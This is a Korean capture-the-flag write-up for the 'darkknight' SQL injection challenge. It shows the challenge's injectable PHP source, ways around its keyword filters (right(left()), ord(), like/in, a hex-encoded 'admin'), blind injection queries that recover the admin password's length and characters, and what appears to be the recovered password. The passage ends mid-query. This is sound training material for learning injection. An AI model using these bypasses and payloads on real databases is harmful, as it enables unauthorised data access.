[LOS] DARKKNIGHT

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

Blind SQL Injection 문제

 

필터링 -> 우회

 

substr() -> right(left())

ascii() -> ord()

= -> like, in()

'admin' -> 0x61646d696e

 

 

비밀번호 자릿수

query : select id from prob_darkknight where id='guest' and pw='123' and no=1 or id in(0x61646d696e) and length(pw) like 8
-> true. 비밀번호 8자리

 

비밀번호 각 자리
query : select id from prob_darkknight where id='guest' and pw='123' and no=1 or id in(0x61646d696e) and ord(right(left(pw,i),1)) > j
-> i, j값 바꿔주며 정답맞추는 프로그램 돌리면 됨


query : select id from prob_darkknight where id='guest' and pw='0b70ea1f' and no=